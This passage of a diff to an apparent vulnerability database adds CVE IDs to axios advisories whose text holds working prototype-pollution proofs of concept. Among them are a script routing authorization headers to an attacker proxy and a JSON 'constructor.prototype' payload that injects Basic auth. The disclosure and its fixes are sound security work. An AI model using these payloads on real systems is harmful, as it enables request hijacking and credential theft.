poc.mjs in the axios repository root:\n\n```js\n import axios from './index.js';\n import http from 'node:http';\n\n const proxyEnvKeys = [\n 'HTTP_PROXY', 'HTTPS_PROXY', 'ALL_PROXY',\n 'http_proxy', 'https_proxy', 'all_proxy',\n 'NO_PROXY', 'no_proxy'\n ];\n\n for (const key of proxyEnvKeys) delete process.env[key];\n\n const listen = (handler) => new Promise((resolve, reject) => {\n const server = http.createServer(handler);\n server.once('error', reject);\n server.listen(0, '127.0.0.1', () => resolve(server));\n });\n\n const close = (server) => new Promise((resolve) => server.close(resolve));\n\n const targetHits = [];\n const proxyHits = [];\n\n const target = await listen((req, res) => {\n let body = '';\n req.on('data', (chunk) => body += chunk);\n req.on('end', () => {\n targetHits.push({\n url: req.url,\n method: req.method,\n authorization: req.headers.authorization || null,\n body\n });\n res.writeHead(200, {'Content-Type': 'application/json'});\n res.end(JSON.stringify({server: 'target'}));\n });\n });\n\n const proxy = await listen((req, res) => {\n let body = '';\n req.on('data', (chunk) => body += chunk);\n req.on('end', () => {\n proxyHits.push({\n url: req.url,\n method: req.method,\n authorization: req.headers.authorization || null,\n host: req.headers.host || null,\n body\n });\n res.writeHead(200, {'Content-Type': 'application/json'});\n res.end(JSON.stringify({server: 'proxy'}));\n });\n });\n\n Object.prototype.proxy = {\n protocol: 'http',\n host: '127.0.0.1',\n port: proxy.address().port\n };\n\n const api = axios.create();\n\n api.interceptors.request.use((config) => ({\n ...config,\n headers: {\n ...config.headers,\n 'X-App': 'demo'\n }\n }));\n\n try {\n const url = `http://127.0.0.1:${target.address().port}/api/secret`;\n\n const explicit = await api.get(url, {\n headers: {Authorization: 'Bearer EXPLICIT_SECRET'}\n });\n\n proxyHits.length = 0;\n targetHits.length = 0;\n\n const basic = await api.get(url, {\n auth: {username: 'svc-account', password: 'prod-secret'}\n });\n\n proxyHits.length = 0;\n targetHits.length = 0;\n\n const post = await api.post(url, {secret: 'request-body-secret'}, {\n headers: {Authorization: 'Bearer EXPLICIT_SECRET'}\n });\n\n console.log(JSON.stringify({\n explicitResponse: explicit.data,\n basicResponse: basic.data,\n postResponse: post.data,\n targetHits,\n proxyHits,\n finalConfigPrototype:\n Object.getPrototypeOf(post.config) === Object.prototype\n ? 'Object.prototype'\n : 'other',\n finalConfigHasOwnProxy:\n Object.prototype.hasOwnProperty.call(post.config, 'proxy')\n }, null, 2));\n } finally {\n delete Object.prototype.proxy;\n await close(target);\n await close(proxy);\n }\n```\n\n Run:\n```bash\n npm ci\n node poc.mjs\n```\n\n ## Observed results\n\n Representative observed output from local loopback testing:\n\n```text\n\n {\n \"explicitResponse\": {\"server\": \"proxy\"},\n \"basicResponse\": {\"server\": \"proxy\"},\n \"postResponse\": {\"server\": \"proxy\"},\n \"targetHits\": [],\n \"proxyHits\": [\n {\n \"url\": \"http://127.0.0.1:40613/api/secret\",\n \"method\": \"POST\",\n \"authorization\": \"Bearer EXPLICIT_SECRET\",\n \"host\": \"127.0.0.1:40613\",\n \"body\": \"{\\\"secret\\\":\\\"request-body-secret\\\"}\"\n }\n ],\n \"finalConfigPrototype\": \"Object.prototype\",\n \"finalConfigHasOwnProxy\": false\n }\n\n Additional validation showed axios-generated Basic auth is also disclosed to the proxy:\n\n {\n \"authorization\": \"Basic c3ZjLWFjY291bnQ6cHJvZC1zZWNyZXQ=\"\n }\n\n```\n\n That value decodes to:\n\n svc-account:prod-secret\n\n Negative controls were also tested:\n\n - No interceptor: target receives request, proxy receives none.\n - Interceptor mutating and returning the same config object: proxy receives none.\n - Own proxy: false: proxy receives none.\n - Null-prototype clone interceptor: proxy receives none.\n - Fetch adapter in Node with the same interceptor: proxy receives none.\n\n ## Suggested remediation\n\n Re-harden the final request config after all request interceptors and before adapter dispatch. This should cover both asynchronous and synchronous interceptor paths.\n\n A practical fix would be to normalize the interceptor-returned object into a null-prototype, own-property-only config before calling dispatchRequest(), or at the start of dispatchRequest() itself. Security-sensitive adapter reads should\n also consistently use own-property access helpers. In particular, the Node HTTP adapter should not read config.proxy through the prototype chain.\n\n ## Minimal regression test\n\n Add an end-to-end Node HTTP adapter test that:\n\n 1. Starts a target server and attacker proxy on 127.0.0.1.\n 2. Sets Object.prototype.proxy to the attacker proxy.\n 3. Adds a request interceptor returning {...config, headers: {...config.headers}}.\n 4. Sends a request with an Authorization header.\n 5. Asserts the target server receives the request.\n 6. Asserts the attacker proxy receives no request.\n 7. Asserts the final config no longer exposes inherited proxy.\n\n A second assertion can cover config.auth to ensure axios-generated Basic auth is not sent to the attacker proxy.\n\n ## References / permalinks\n\n - mergeConfig() null-prototype hardening: https://github.com/axios/axios/blob/df53d7dd99b202fb194217abd127ae6a630e70dc/lib/core/mergeConfig.js#L21-L25\n - Async interceptor dispatch path: https://github.com/axios/axios/blob/df53d7dd99b202fb194217abd127ae6a630e70dc/lib/core/Axios.js#L187-L199\n - Synchronous interceptor dispatch path: https://github.com/axios/axios/blob/df53d7dd99b202fb194217abd127ae6a630e70dc/lib/core/Axios.js#L204-L218\n - dispatchRequest() receives interceptor-returned config: https://github.com/axios/axios/blob/df53d7dd99b202fb194217abd127ae6a630e70dc/lib/core/dispatchRequest.js#L34-L48\n - Node HTTP adapter config.proxy read: https://github.com/axios/axios/blob/df53d7dd99b202fb194217abd127ae6a630e70dc/lib/adapters/http.js#L816-L820\n - Axios threat model for prototype-pollution read-side gadgets: https://github.com/axios/axios/blob/df53d7dd99b202fb194217abd127ae6a630e70dc/THREATMODEL.md#L136-L144\n - Existing proxy pollution regression test intent: https://github.com/axios/axios/blob/df53d7dd99b202fb194217abd127ae6a630e70dc/tests/unit/prototypePollution.test.js#L1098-L1135\n
", "info": [ @@ -9541,7 +9589,10 @@ ], "identifiers": { "summary": "Axios: Prototype pollution auth subfields can inject Basic auth", - "githubID": "GHSA-xj6q-8x83-jv6g" + "githubID": "GHSA-xj6q-8x83-jv6g", + "CVE": [ + "CVE-2026-67314" + ] }, "details": "## Summary\n\nAxios versions after the `GHSA-q8qp-cvcw-x6jj` fix still contain prototype-pollution read-side gadgets in Basic auth subfield handling. If a host application is already affected by prototype pollution and then makes an axios request with an own `auth` object that omits `username` or `password`, axios reads inherited `Object.prototype.username` and `Object.prototype.password` values and uses them to construct an outbound `Authorization: Basic ...` header.\n\nThis does not mean axios itself pollutes prototypes. Exploitation requires a separate prototype-pollution primitive in the host process, plus an axios call pattern such as `auth: opts.auth || {}`.\n\n## Impact\n\nAn attacker who can pollute `Object.prototype.username` and/or `Object.prototype.password` can influence the Basic auth header on affected axios requests that pass an empty or partial own `auth` object.\n\nThe practical impact is outbound request tampering. The attacker can inject attacker-chosen Basic auth credentials, replace an existing `Authorization` header because axios removes it when `auth` is used, or cause downstream authorization failures.\n\nThis should not be described as automatic credential exfiltration. In the minimal reproduced case, the Basic auth values are attacker-controlled values, not secrets read from axios. Credential disclosure requires an additional application-specific condition, such as a request destination observable by the attacker and a partial real auth object with a missing polluted subfield.\n\n## Affected Functionality\n\nAffected functionality:\n\n- Node HTTP adapter Basic auth handling in `lib/adapters/http.js`.\n- Browser, web worker, React Native, and fetch shared resolver Basic auth handling in `lib/helpers/resolveConfig.js`.\n- Requests where `config.auth` is an own object but `username` and/or `password` are absent own properties.\n\nUnaffected or not accepted as core impact:\n\n- Requests with no own `auth` object after `mergeConfig()`.\n- Requests with own `auth.username` and `auth.password` values.\n- Normal axios request flow for inherited top-level `params` / `paramsSerializer` after the null-prototype `mergeConfig()` hardening.\n- Attacker-controlled `paramsSerializer` functions from JSON-only prototype pollution, because JSON pollution cannot create functions. If attacker-controlled code can install functions in the process, that is outside axios’ runtime boundary.\n\n## Technical Details\n\n`mergeConfig()` returns a null-prototype top-level config object, which prevents top-level reads such as `config.auth` from inheriting polluted values. However, nested plain objects returned by `utils.merge()` still have `Object.prototype`.\n\nIn `lib/adapters/http.js`, axios correctly reads the top-level `auth` value through `own('auth')`, but then reads subfields directly:\n\n```js\nconst configAuth = own('auth');\nif (configAuth) {\n const username = configAuth.username || '';\n const password = configAuth.password || '';\n auth = username + ':' + password;\n}\n```\n\nIf the caller passes auth: {} and Object.prototype.username/password are polluted, those direct subfield reads walk the prototype chain.\n\nThe same pattern exists in `lib/helpers/resolveConfig.js`:\n```js\nif (auth) {\n headers.set(\n 'Authorization',\n 'Basic ' +\n btoa((auth.username || '') + ':' + (auth.password ? encodeUTF8(auth.password) : ''))\n );\n}\n```\n\nThe fix should guard `username` and `password` with `utils.hasOwnProp`, matching the proxy-auth pattern already used elsewhere.\n\n## Proof of Concept of Attack\n\nSafe local PoC against published `axios@1.16.1`:\n\n```js\nconst http = require('node:http');\nconst axios = require('axios');\n\nObject.prototype.username = 'victim-user';\nObject.prototype.password = 'victim-password-leaked';\n\nconst server = http.createServer((req, res) => {\n console.log({\n url: req.url,\n authorization: req.headers.authorization || null\n });\n\n res.end('{}');\n server.close(() => {\n delete Object.prototype.username;\n delete Object.prototype.password;\n });\n});\n\nserver.listen(0, '127.0.0.1', async () => {\n await axios.get(`http://127.0.0.1:${server.address().port}/api`, {\n auth: {}\n });\n});\n```\n\nExpected output:\n\n```json\n{\n \"url\": \"/api\",\n \"authorization\": \"Basic dmljdGltLXVzZXI6dmljdGltLXBhc3N3b3JkLWxlYWtlZA==\"\n}\n```\n\nThe base64 value decodes to `victim-user:victim-password-leaked`.\n\n## Workarounds\nAvoid passing empty or partial `auth` objects. Only set `auth` when the application has own username and password values.\n\nApplications that merge untrusted input should filter `__proto__`, `constructor`, and `prototype`, and should read optional user options with own-property checks rather than `opts.auth || {}`.\n\nWhere a wrapper must materialize optional auth, use a null-prototype object or explicitly copy only own fields.\n\n
\nOriginal Report\n\n### Summary\n\nAfter [GHSA-q8qp-cvcw-x6jj](https://github.com/axios/axios/security/advisories/GHSA-q8qp-cvcw-x6jj) / [PR #10779](https://github.com/axios/axios/pull/10779) (shipped in `v1.15.2`) and the further proxy-side hardening in\n[PR #10833](https://github.com/axios/axios/pull/10833) (merged 2026-05-02), the **top-level** `config.auth` and the **proxy auth**sub-fields are correctly read via `utils.hasOwnProp`. The **regular request auth sub-fields** (`config.auth.username` and `config.auth.password`) and the **`config.params` / `config.paramsSerializer`** reads inside `resolveConfig.js` are still unguarded against a polluted `Object.prototype`.\n\nWhen a polluted host process makes an axios call with the common \"optional override\" pattern (`auth: opts.auth || {}` — an empty own `{}`), the sub-field reads `configAuth.username` and `configAuth.password` walk the prototype chain and return the attacker-controlled values. Same for `params` and `paramsSerializer`. The outbound HTTP request then carries an attacker-chosen `Authorization: Basic ` header and an attacker-chosen querystring, leaking credentials and exfiltrating data to whichever host the request goes to (often attacker-influenced too — i.e. the amplifier is wired into many credential-stuffing chains).\n\nReproduces against `axios` `main` HEAD (`34723be`, dated 2026-05-24)\nas well as the released `v1.16.1`.\n\n### Details\n\n**Three still-unguarded read sites** on `main` HEAD:\n\n**(1) `lib/adapters/http.js` lines 737–740** (Node http adapter):\n\n```js\nconst configAuth = own('auth'); // ← top-level guard OK\nif (configAuth) {\n const username = configAuth.username || ''; // ← reads .username on the inherited chain\n const password = configAuth.password || ''; // ← reads .password on the inherited chain\n auth = username + ':' + password;\n}\n```\n\n`own('auth')` correctly applies `hasOwnProp` to the top-level `auth`\nkey. But once `configAuth` is the empty object the caller passed\n(`auth: {}`), `configAuth.username` walks the prototype chain and\npicks up `Object.prototype.username`.\n\nContrast with the proxy-auth path that PR #10833 fixed (lines 322–324):\n\n```js\nconst authUsername =\n authIsObject && utils.hasOwnProp(proxyAuth, 'username') ? proxyAuth.username : undefined;\nconst authPassword =\n authIsObject && utils.hasOwnProp(proxyAuth, 'password') ? proxyAuth.password : undefined;\n```\n\nThis is the exact pattern needed at lines 739–740 too.\n\n**(2) `lib/helpers/resolveConfig.js` lines 50 + 68** (xhr/fetch adapter shared resolver):\n\n```js\nconst auth = own('auth'); // ← top-level guard OK\n...\nbtoa((auth.username || '') + ':' + (auth.password ? encodeUTF8(auth.password) : ''))\n// ^ .username and .password read directly on `auth`, no hasOwnProp guard\n```\n\nSame shape — top-level guarded, sub-fields walk prototype.\n\n**(3) `lib/helpers/resolveConfig.js` lines 58–59** (params + paramsSerializer):\n\n```js\nnewConfig.url = buildURL(\n buildFullPath(baseURL, url, allowAbsoluteUrls),\n config.params, // ← direct read, not through own()\n config.paramsSerializer // ← direct read, not through own()\n);\n```\n\nThis third site is already proposed for fix in **open** [PR #10922](https://github.com/axios/axios/pull/10922) by @Mohammad-Faiz-Cloud-Engineer (status: open, currently mergeable: false). That PR's `own('params')` / `own('paramsSerializer')` change is exactly correct; this report flags the auth sub-field sites that PR #10922 does **not** cover.\n\n### PoC\n\nThis PoC contains zero direct `Object.prototype.x = y` writes. The\npollution flows entirely from attacker-shaped JSON through a real\ndeep-merge utility (`defaults-deep@0.2.4`, ~50k weekly downloads,\nstill walks `constructor.prototype`). A hand-rolled deep merge —\nthe canonical insecure backend pattern — exhibits the same pollution\nvia `__proto__` and is more common in real codebases than any named\nutility.\n\n```js\n#!/usr/bin/env node\n'use strict';\n\nconst http = require('node:http');\nconst axios = require('axios');\nconst defaultsDeep = require('defaults-deep');\n\n// Defensive: scrub any prior pollution\nconst PROTO_KEYS = ['username', 'password', 'params', 'paramsSerializer'];\nfunction scrub() {\n for (const k of PROTO_KEYS) {\n try { delete Object.prototype[k]; } catch (_) {}\n }\n}\nscrub();\n\n// 1) Attacker input — what JSON.parse(req.body) would yield from an HTTP POST\nconst attackerBody = JSON.parse(`{\n \"constructor\": {\n \"prototype\": {\n \"username\": \"victim-user\",\n \"password\": \"victim-password-leaked\",\n \"params\": {\"leak\": \"ATTACKER_QUERY_TOKEN\"}\n }\n }\n}`);\n\n// 2) Realistic application pattern: merge user options into defaults\nconst appDefaults = { timeout: 5000 };\ndefaultsDeep(appDefaults, attackerBody);\n// After this line:\n// Object.prototype.username === \"victim-user\"\n// Object.prototype.password === \"victim-password-leaked\"\n// Object.prototype.params === { leak: \"ATTACKER_QUERY_TOKEN\" }\n\n// 3) Capture outbound request on a local listener\nconst server = http.createServer((req, res) => {\n console.log('=== captured outbound request ===');\n console.log(JSON.stringify({\n method: req.method,\n url: req.url,\n authorization: req.headers.authorization || null,\n }, null, 2));\n res.end('{}');\n server.close();\n scrub();\n});\n\nserver.listen(0, '127.0.0.1', () => {\n const port = server.address().port;\n\n // 4) Realistic application wrapper: optional per-call overrides.\n // `auth: opts.auth || {}` is the common pattern — empty own object,\n // but inherited values walk the prototype chain.\n function makeRequest(targetUrl, opts = {}) {\n return axios.get(targetUrl, {\n timeout: 5000,\n auth: opts.auth || {},\n params: opts.params || {},\n });\n }\n\n makeRequest(`http://127.0.0.1:${port}/api/widget`).catch((e) => {\n console.error('axios error:', e.message);\n scrub();\n process.exit(1);\n });\n});\n```\n\nReproduction:\n\n```bash\nmkdir /tmp/axios-poc && cd /tmp/axios-poc\nnpm init -y\nnpm install axios@1.16.1 defaults-deep@0.2.4\nnode /path/to/poc.cjs\n```\n\nCaptured output (verified against released `1.16.1` AND against\n`main` at `34723be`, 2026-05-24):\n\n```json\n{\n \"method\": \"GET\",\n \"url\": \"/api/widget?leak=ATTACKER_QUERY_TOKEN\",\n \"authorization\": \"Basic dmljdGltLXVzZXI6dmljdGltLXBhc3N3b3JkLWxlYWtlZA==\"\n}\n```\n\n`dmljdGltLXVzZXI6dmljdGltLXBhc3N3b3JkLWxlYWtlZA==` base64-decodes to\n`victim-user:victim-password-leaked`. The querystring carries\n`?leak=ATTACKER_QUERY_TOKEN`, which can be a full data-exfil channel\nin real chains (CSRF token, session cookie via `req.headers`, etc.).\n\n### Impact\n\n- **Credential exfiltration** via Basic auth header on the outbound\n request. If the request URL is attacker-influenced too (common in\n webhook/oauth-callback patterns), the credentials flow directly to\n the attacker. If not, they flow to the legitimate destination but\n expose victim credentials in any logs / proxies along the path.\n- **Outbound request-shape control** via inherited `params` /\n `paramsSerializer`. With `paramsSerializer` polluted to an attacker\n function, axios will execute that function with each `params`\n invocation — same-process code execution from a pollution primitive.\n- **Amplifier framing** is still correct. The application-side\n precondition is \"deep-merges attacker JSON into a config object\n without `__proto__`/`constructor` filtering, then uses the empty-\n fallback wrapper `auth: opts.auth || {}` / `params: opts.params || {}`.\"\n Both halves are very common in real codebases (we tested\n `defaults-deep`, hand-rolled merges, and several lodash-family\n utilities; many still pollute).\n- **CWE-1321** (Improperly Controlled Modification of Object Prototype\n Attributes — amplifier sink).\n\n### Proposed fix\n\nTwo-line change in `http.js`, matching the proxy-auth pattern PR\n#10833 already established:\n\n```diff\n--- a/lib/adapters/http.js\n+++ b/lib/adapters/http.js\n@@ -737,8 +737,10 @@\n const configAuth = own('auth');\n if (configAuth) {\n- const username = configAuth.username || '';\n- const password = configAuth.password || '';\n+ const username = utils.hasOwnProp(configAuth, 'username') ? (configAuth.username || '') : '';\n+ const password = utils.hasOwnProp(configAuth, 'password') ? (configAuth.password || '') : '';\n auth = username + ':' + password;\n }\n```\n\nSame pattern in `resolveConfig.js`:\n\n```diff\n--- a/lib/helpers/resolveConfig.js\n+++ b/lib/helpers/resolveConfig.js\n@@ -64,7 +64,11 @@\n // HTTP basic authentication\n if (auth) {\n+ const authUsername = utils.hasOwnProp(auth, 'username') ? (auth.username || '') : '';\n+ const authPassword = utils.hasOwnProp(auth, 'password') ? auth.password : '';\n headers.set(\n 'Authorization',\n 'Basic ' +\n- btoa((auth.username || '') + ':' + (auth.password ? encodeUTF8(auth.password) : ''))\n+ btoa(authUsername + ':' + (authPassword ? encodeUTF8(authPassword) : ''))\n );\n }\n```\n\nThe **`params` / `paramsSerializer`** half is already handled by open\nPR #10922's `own('params')` / `own('paramsSerializer')` change — that\nPR should be rebased / merged.\n\n### Relationship to recent prototype-pollution work\n\nSame vulnerability class as the existing public hardening, just at\nsub-field granularity:\n\n- [GHSA-q8qp-cvcw-x6jj](https://github.com/axios/axios/security/advisories/GHSA-q8qp-cvcw-x6jj) / [PR #10779](https://github.com/axios/axios/pull/10779) — `mergeConfig` direct-key reads. **Fixed in v1.15.2.**\n- [PR #10761](https://github.com/axios/axios/pull/10761) — `mergeDirectKeys` `in` → `hasOwnProp`. **Fixed in v1.15.x.**\n- [PR #10833](https://github.com/axios/axios/pull/10833) — proxy `auth.username/password` sub-fields. **Fixed post-1.16.1.**\n- [PR #7413](https://github.com/axios/axios/pull/7413) — `formDataToJSON` defense-in-depth. **Fixed post-1.16.1.**\n- [PR #10901](https://github.com/axios/axios/pull/10901) — `socketPath` guard. **Merged 2026-05-24.**\n- [PR #10922 (OPEN)](https://github.com/axios/axios/pull/10922) — `params` / `paramsSerializer` `own()` guard. **Proposed; not merged.**\n\nThis report adds: regular-request `auth.username` / `auth.password`\nsub-field reads in both the http adapter (lines 737–740) and\nresolveConfig.js (line 68).\n\n### Reporter notes\n\n- Reported as part of a small peer-review bundle of runtime security\n findings. The bundle's public tracking entry (without the working\n exploit chain) is at\n [`georgian-io/package-runtime-security-findings/advisories/AXIOS-002-prototype-pollution-config-fields.md`](https://github.com/georgian-io/package-runtime-security-findings/blob/main/advisories/AXIOS-002-prototype-pollution-config-fields.md).\n- I'm happy to submit the patch as a PR if that helps. Or, if you'd\n prefer to fold this into open PR #10922 (whose author is actively\n responding to comments), please let me know and I'll coordinate.\n- Threat model honesty: this is **amplifier framing** — exploitation\n requires a separate prototype-pollution primitive elsewhere in the\n host process. That's how the existing GHSA-q8qp-cvcw-x6jj and\n PR #10833 were framed too, so the precedent for \"in-scope as a\n hardening fix\" is established.\n
", "info": [ diff --git a/repository/jsrepository.json b/repository/jsrepository.json index 1f1d55c7..3a9f0b81 100644 --- a/repository/jsrepository.json +++ b/repository/jsrepository.json @@ -8203,7 +8203,10 @@ ], "identifiers": { "summary": "Axios: Nested axios option objects can consume polluted prototype values", - "githubID": "GHSA-7q8q-rj6j-mhjq" + "githubID": "GHSA-7q8q-rj6j-mhjq", + "CVE": [ + "CVE-2026-67319" + ] }, "info": [ "https://github.com/axios/axios/security/advisories/GHSA-7q8q-rj6j-mhjq", @@ -8225,7 +8228,10 @@ ], "identifiers": { "summary": "Axios: Excessive recursion in formDataToJSON can cause denial of service", - "githubID": "GHSA-42h9-826w-cgv3" + "githubID": "GHSA-42h9-826w-cgv3", + "CVE": [ + "CVE-2026-67313" + ] }, "info": [ "https://github.com/axios/axios/security/advisories/GHSA-42h9-826w-cgv3", @@ -8247,7 +8253,10 @@ ], "identifiers": { "summary": "Axios: Deep formToJSON Key Recursion Can Cause Denial of Service", - "githubID": "GHSA-pmv8-rq9r-6j72" + "githubID": "GHSA-pmv8-rq9r-6j72", + "CVE": [ + "CVE-2026-67312" + ] }, "info": [ "https://github.com/axios/axios/security/advisories/GHSA-pmv8-rq9r-6j72", @@ -8269,7 +8278,10 @@ ], "identifiers": { "summary": "Axios: NO_PROXY bypass for 0.0.0.0 local addresses in axios", - "githubID": "GHSA-f4gw-2p7v-4548" + "githubID": "GHSA-f4gw-2p7v-4548", + "CVE": [ + "CVE-2026-67315" + ] }, "info": [ "https://github.com/axios/axios/security/advisories/GHSA-f4gw-2p7v-4548", @@ -8291,7 +8303,10 @@ ], "identifiers": { "summary": "Axios Node HTTP adapter can use an inherited proxy after interceptor config cloning", - "githubID": "GHSA-gcfj-64vw-6mp9" + "githubID": "GHSA-gcfj-64vw-6mp9", + "CVE": [ + "CVE-2026-67320" + ] }, "info": [ "https://github.com/axios/axios/security/advisories/GHSA-gcfj-64vw-6mp9", @@ -8312,7 +8327,10 @@ ], "identifiers": { "summary": "Axios form serializer maxDepth bypass via {} metatoken", - "githubID": "GHSA-hcpx-6fm6-wx23" + "githubID": "GHSA-hcpx-6fm6-wx23", + "CVE": [ + "CVE-2026-67321" + ] }, "info": [ "https://github.com/axios/axios/security/advisories/GHSA-hcpx-6fm6-wx23", @@ -8333,7 +8351,10 @@ ], "identifiers": { "summary": "Axios: Prototype pollution gadgets can alter axios request construction", - "githubID": "GHSA-mmx7-hfxf-jppx" + "githubID": "GHSA-mmx7-hfxf-jppx", + "CVE": [ + "CVE-2026-67316" + ] }, "info": [ "https://github.com/axios/axios/security/advisories/GHSA-mmx7-hfxf-jppx", @@ -8977,7 +8998,10 @@ ], "identifiers": { "summary": "Axios: Excessive recursion in formDataToJSON can cause denial of service", - "githubID": "GHSA-42h9-826w-cgv3" + "githubID": "GHSA-42h9-826w-cgv3", + "CVE": [ + "CVE-2026-67313" + ] }, "info": [ "https://github.com/axios/axios/security/advisories/GHSA-42h9-826w-cgv3", @@ -8998,7 +9022,10 @@ ], "identifiers": { "summary": "Axios: Nested axios option objects can consume polluted prototype values", - "githubID": "GHSA-7q8q-rj6j-mhjq" + "githubID": "GHSA-7q8q-rj6j-mhjq", + "CVE": [ + "CVE-2026-67319" + ] }, "info": [ "https://github.com/axios/axios/security/advisories/GHSA-7q8q-rj6j-mhjq", @@ -9019,7 +9046,10 @@ ], "identifiers": { "summary": "Axios: Prototype pollution gadgets can alter axios request construction", - "githubID": "GHSA-mmx7-hfxf-jppx" + "githubID": "GHSA-mmx7-hfxf-jppx", + "CVE": [ + "CVE-2026-67316" + ] }, "info": [ "https://github.com/axios/axios/security/advisories/GHSA-mmx7-hfxf-jppx", @@ -9041,7 +9071,10 @@ ], "identifiers": { "summary": "Axios: Deep formToJSON Key Recursion Can Cause Denial of Service", - "githubID": "GHSA-pmv8-rq9r-6j72" + "githubID": "GHSA-pmv8-rq9r-6j72", + "CVE": [ + "CVE-2026-67312" + ] }, "info": [ "https://github.com/axios/axios/security/advisories/GHSA-pmv8-rq9r-6j72", @@ -9062,7 +9095,10 @@ ], "identifiers": { "summary": "Axios: Fetch adapter `ReadableStream` uploads bypass `maxBodyLength`", - "githubID": "GHSA-jqh4-m9w3-8hp9" + "githubID": "GHSA-jqh4-m9w3-8hp9", + "CVE": [ + "CVE-2026-67317" + ] }, "info": [ "https://github.com/axios/axios/security/advisories/GHSA-jqh4-m9w3-8hp9", @@ -9080,7 +9116,10 @@ ], "identifiers": { "summary": "Axios: HTTP/2 streamed uploads bypass `maxBodyLength`", - "githubID": "GHSA-mwf2-3pr3-8698" + "githubID": "GHSA-mwf2-3pr3-8698", + "CVE": [ + "CVE-2026-67318" + ] }, "info": [ "https://github.com/axios/axios/security/advisories/GHSA-mwf2-3pr3-8698", @@ -9099,7 +9138,10 @@ ], "identifiers": { "summary": "Axios: NO_PROXY bypass for 0.0.0.0 local addresses in axios", - "githubID": "GHSA-f4gw-2p7v-4548" + "githubID": "GHSA-f4gw-2p7v-4548", + "CVE": [ + "CVE-2026-67315" + ] }, "info": [ "https://github.com/axios/axios/security/advisories/GHSA-f4gw-2p7v-4548", @@ -9120,7 +9162,10 @@ ], "identifiers": { "summary": "Axios form serializer maxDepth bypass via {} metatoken", - "githubID": "GHSA-hcpx-6fm6-wx23" + "githubID": "GHSA-hcpx-6fm6-wx23", + "CVE": [ + "CVE-2026-67321" + ] }, "info": [ "https://github.com/axios/axios/security/advisories/GHSA-hcpx-6fm6-wx23", @@ -9142,7 +9187,10 @@ ], "identifiers": { "summary": "Axios Node HTTP adapter can use an inherited proxy after interceptor config cloning", - "githubID": "GHSA-gcfj-64vw-6mp9" + "githubID": "GHSA-gcfj-64vw-6mp9", + "CVE": [ + "CVE-2026-67320" + ] }, "info": [ "https://github.com/axios/axios/security/advisories/GHSA-gcfj-64vw-6mp9", @@ -9163,7 +9211,10 @@ ], "identifiers": { "summary": "Axios: Prototype pollution auth subfields can inject Basic auth", - "githubID": "GHSA-xj6q-8x83-jv6g" + "githubID": "GHSA-xj6q-8x83-jv6g", + "CVE": [ + "CVE-2026-67314" + ] }, "info": [ "https://github.com/axios/axios/security/advisories/GHSA-xj6q-8x83-jv6g",